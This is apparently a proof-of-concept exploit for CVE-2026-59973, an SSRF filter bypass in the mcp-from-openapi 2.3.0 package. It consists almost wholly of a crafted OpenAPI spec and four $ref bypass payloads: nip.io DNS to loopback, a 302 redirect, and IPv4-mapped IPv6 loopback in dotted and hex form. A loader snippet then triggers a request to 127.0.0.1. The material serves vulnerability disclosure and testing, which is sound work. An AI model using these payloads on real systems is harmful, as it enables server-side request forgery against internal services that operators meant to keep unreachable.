CVE-2026-59973: mcp-from-openapi OpenAPI $ref SSRF Filter Bypass

// Craft an OpenAPI spec with an external $ref using one of these bypass URLs:
// 1. DNS name resolving to 127.0.0.1 (nip.io wildcard DNS)
const spec_dns = {
  openapi: "3.0.0",
  info: { title: "Bypass", version: "1.0" },
  paths: {
    "/probe": {
      get: {
        operationId: "probe",
        summary: "probe",
        responses: {
          "200": {
            description: "OK",
            content: {
              "application/json": {
                schema: { "$ref": "http://127.0.0.1.nip.io:PORT/schema.json" }
              }
            }
          }
        }
      }
    }
  }
};

// 2. Redirect from allowed DNS host to 127.0.0.1
// $ref: "http://127.0.0.1.nip.io:PORT/redirect"
// (redirect endpoint returns 302 -> http://127.0.0.1:PORT/schema.json)

// 3. IPv4-mapped IPv6 loopback (dotted form)
// $ref: "http://[::ffff:127.0.0.1]:PORT/schema.json"

// 4. IPv4-mapped IPv6 loopback (hex form)
// $ref: "http://[::ffff:7f00:1]:PORT/schema.json"

// Load into mcp-from-openapi 2.3.0 -- all four hit the loopback canary:
const { OpenAPIToolGenerator } = require("mcp-from-openapi");
const gen = new OpenAPIToolGenerator(spec_dns, { validate: false });
await gen.initialize(); // backend makes GET to 127.0.0.1:PORT/schema.json